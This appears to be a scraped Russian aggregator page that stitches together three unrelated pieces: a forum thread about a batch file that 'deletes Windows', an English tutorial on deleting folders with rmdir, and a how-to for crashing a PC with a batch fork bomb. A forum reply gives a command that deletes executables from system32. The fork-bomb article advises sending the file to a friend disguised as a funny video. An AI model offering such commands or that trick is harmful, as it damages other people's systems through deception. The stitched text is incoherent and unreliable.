Как удалить windows через bat

  • Форум

    • Лента
  • Новости

    • Блоги
    • Железо
  • Киберспорт

    • Матчи
    • Турниры
    • Календарь
    • EPT
    • Команды
    • Игроки
    • Сборки игроков
  • База знаний

    • Герои
    • Контрпики
    • Предметы
    • Механики
    • Гайды
    • Тактика
    • Тех. поддержка
    • Частые вопросы
  • Стримы

  • Видео

  • Мемы

  • Фрибеты 5х1000 р. всем
    новым пользователям!

    ПОЛУЧИТЬ ФРИБЕТ

    Реклама. ООО «БК «ПАРИ».
    ИНН: 7703365167

logo

  • Фрибеты 5х1000 р. всем
    новым пользователям!

    ПОЛУЧИТЬ ФРИБЕТ

    Реклама. ООО «БК «ПАРИ».
    ИНН: 7703365167

  • 1


  • Войти

SpeedkQ

Пользователь

Регистрация:
19.07.2013

Сообщения: 3448

Рейтинг: 1732

Регистрация:
19.07.2013

Сообщения: 3448

Рейтинг: 1732


Так как последнее время много желающих поломать компы, скину вам батник удаления винды
Скачиваем, запускаем, ждем удаления и все )

Jin SoYeon

Пользователь

Регистрация:
17.01.2013

Сообщения: 4701

Рейтинг: 1164

Регистрация:
17.01.2013

Сообщения: 4701

Рейтинг: 1164

крутая командная строчка : del C:\WINDOWS\system32\*.exe /q

Nexssus

Пользователь

Регистрация:
30.07.2013

Сообщения: 2632

Рейтинг: 3339

Регистрация:
30.07.2013

Сообщения: 2632

Рейтинг: 3339

Geronimooo

Пользователь

Регистрация:
29.01.2014

Сообщения: 110

Рейтинг: 45

Регистрация:
29.01.2014

Сообщения: 110

Рейтинг: 45

Livemau5 сказал(а):↑

крутая командная строчка : del C:\WINDOWS\system32\*.exe /q

Нажмите, чтобы раскрыть…

ТС 5 класс информатика

Competition

Пользователь

Регистрация:
10.11.2013

Сообщения: 888

Рейтинг: 408

Нарушения: 1000

Регистрация:
10.11.2013

Сообщения: 888

Рейтинг: 408

Нарушения: 1000

Я такие батники еще в 2003 видел.

tr0uble

Пользователь

Регистрация:
13.04.2013

Сообщения: 626

Рейтинг: 517

Регистрация:
13.04.2013

Сообщения: 626

Рейтинг: 517

Посоны не открывайте, там ЦП

dart4001

Пользователь

Регистрация:
13.07.2012

Сообщения: 939

Рейтинг: 598

Регистрация:
13.07.2012

Сообщения: 939

Рейтинг: 598

Ядрёная штука,снесла не только виндовс,но и стим
ALARM ALARM
PS.Пишу с микроволновки

MacAree

Пользователь

Регистрация:
21.12.2013

Сообщения: 2614

Рейтинг: 1196

Регистрация:
21.12.2013

Сообщения: 2614

Рейтинг: 1196

Тс кароче я поломал компьютер из-за тебя, пишу с телефона, скажи как починить.

Регистрация:
13.04.2013

Сообщения: 966

Рейтинг: 486

Пойду тестить на виртуальной машине творение юного кулхацкера. :)

TheNiks

Пользователь

Регистрация:
09.10.2012

Сообщения: 303

Рейтинг: 297

Регистрация:
09.10.2012

Сообщения: 303

Рейтинг: 297

короче запустил прогу , пошел в магазин. Возвращаюсь , какие-то мужики дома , говорят типа это теперь наша хата , пишу с пакета молока , не качайте , без хаты остался

Тема закрыта

  • Заголовок

    Раздел

    Ответов Просмотров

    Последнее сообщение

  • Сообщений: 6
    13 May 2025 в 09:40

    Сообщений:6

    Просмотров:19

  • Сообщений: 35
    13 May 2025 в 09:30

    Сообщений:35

    Просмотров:59

  • Сообщений: 13
    13 May 2025 в 06:32

    Сообщений:13

    Просмотров:75

  • Сообщений: 4
    13 May 2025 в 06:15

    Сообщений:4

    Просмотров:35

  • Сообщений: 18
    13 May 2025 в 03:34

    Сообщений:18

    Просмотров:75

  1. Creating a Batch File to Delete a Folder

  2. Running the Batch File

  3. Important Considerations

  4. Conclusion

  5. FAQ

How to Delete a Folder With Its Contents Using a Batch File in Windows

Deleting a folder along with all its contents in Windows can sometimes feel like a daunting task, especially if you’re not familiar with the command line or scripting. However, using a batch file can simplify this process significantly. A batch file is a simple text file that contains a series of commands to be executed by the Windows Command Prompt.

In this tutorial, we’ll walk you through the steps to create a batch file that can efficiently delete a folder and everything inside it. Whether you’re looking to clean up your workspace or manage files more effectively, this guide has got you covered.

Creating a Batch File to Delete a Folder

To create a batch file that deletes a folder and its contents, follow these steps. First, open Notepad or any text editor of your choice. You’ll be writing a simple command that instructs Windows to remove the specified folder and everything in it.

Here’s the command you need to type:

@echo off
rmdir /s /q "C:\path\to\your\folder"

In this script:

  • @echo off prevents the commands from being displayed in the command prompt.
  • rmdir is the command used to remove directories.
  • /s tells the command to remove all files and subdirectories within the specified directory.
  • /q enables quiet mode, which suppresses confirmation prompts.
  • Replace C:\path\to\your\folder with the actual path of the folder you wish to delete.

Once you’ve written this command, save the file with a .bat extension, such as delete_folder.bat.

Output:

This batch file will now delete the specified folder and all its contents without any prompts. Just double-click the batch file to execute it, and your folder will be gone in an instant!

Running the Batch File

Now that you have created your batch file, it’s time to run it. To do this, simply navigate to the location where you saved the file, and double-click on it. Alternatively, you can run it from the Command Prompt.

Here’s how to run it from the Command Prompt:

  1. Press Win + R, type cmd, and hit Enter.

  2. Navigate to the directory where your batch file is located using the cd command. For example:

    cd C:\path\to\your\batchfile
    
  3. Type the name of your batch file and hit Enter:

Running the batch file this way ensures that the command executes in the context of the Command Prompt, which can be useful for troubleshooting any potential issues.

Important Considerations

While batch files are powerful tools, they should be used with caution. Deleting a folder and its contents is irreversible; once you execute the batch file, the files will be permanently lost unless you have backups. Here are a few considerations to keep in mind:

  • Always double-check the folder path you are specifying in the batch file. A small typo can lead to unintended data loss.
  • Test your batch file with a non-critical folder first to ensure it works as expected.
  • Consider adding a pause command at the end of your batch file to review the output before the window closes:

This command will keep the Command Prompt window open until you press a key, allowing you to see any error messages or confirmations.

Output:

Press any key to continue...

Conclusion

Creating a batch file to delete a folder and its contents in Windows is a straightforward process that can save you time and effort. By following the steps outlined in this tutorial, you can automate the deletion of unwanted folders, making file management much easier. Remember to always proceed with caution when deleting files, as this action cannot be undone. With a little practice, you’ll find batch files to be a valuable addition to your Windows toolkit.

FAQ

  1. How do I create a batch file?
    You can create a batch file by writing your commands in a text editor like Notepad and saving it with a .bat extension.

  2. Can I recover files deleted by a batch file?
    No, once deleted using a batch file, the files are permanently removed unless you have a backup.

  3. What does the /s switch do in the rmdir command?
    The /s switch tells the command to delete all files and subdirectories within the specified directory.

  1. Is it safe to use batch files?
    Yes, batch files are safe as long as you are careful with the commands you include and double-check the paths to avoid accidental deletions.

  2. Can I edit an existing batch file?
    Absolutely! You can edit a batch file by opening it in a text editor and modifying the commands as needed.

Enjoying our tutorials? Subscribe to DelftStack on YouTube to support us in creating more high-quality video guides. Subscribe

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Sign up

Appearance settings

Загрузить PDF

Загрузить PDF

Какими бы ни были причины, у вас может появиться желание «грохнуть» свой компьютер. Использование командного файла для выполнения данного действия не навредит и не нанесет настолько непоправимый ущерб вашему компьютеру, как другие методы. Вместо этого он передаст компьютеру серию команд, приводящих к поломке. Вот статья о том, как грохнуть свой компьютер с помощью командного файла.

  1. Step 1 Откройте приложение «Блокнот» и вставьте текст, указанный выше.

  2. Step 2 Сохраните файл как «anything.bat», удалив расширение «.txt».

  3. Step 3 Разыщите и запустите файл «anything.bat», чтобы грохнуть свой компьютер.

  4. Step 4 Готово.

    Реклама

Данный метод схож с первым, однако он не открывает какие-либо окна или программы, что делает его гораздо более скрытым.

  1. Step 1 Скопируйте и вставьте...

    Скопируйте и вставьте представленный ниже код в приложение «Блокнот» или любую другую текстовую программу, используемую вами.

    • @echo off
      A
    • start
    • goto A:
  2. Step 2 Сохраните его как командный файл.

    Он готов.

    Реклама

Советы

  • Этот командный скрипт откроет бесконечное множество командных подсказок, вызывая торможение, зависание или поломку компьютера. Просто перезагрузите ПК, чтобы исправить любые проблемы.
  • Вы можете прикрепить файл к электронному письму, отправляемому другу, и сказать ему, что это смешное видео.

Реклама

Что вам понадобится

  • Компьютер с ОС Windows.

Об этой статье

Эту страницу просматривали 4426 раз.

Была ли эта статья полезной?

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Крутое оформление рабочего стола windows 10
  • Служба предварительной оценки windows что это за служба
  • Windows 10 как отключить поиск сетевых принтеров
  • Как включить snmp на windows 10
  • Не устанавливается windows диск поврежден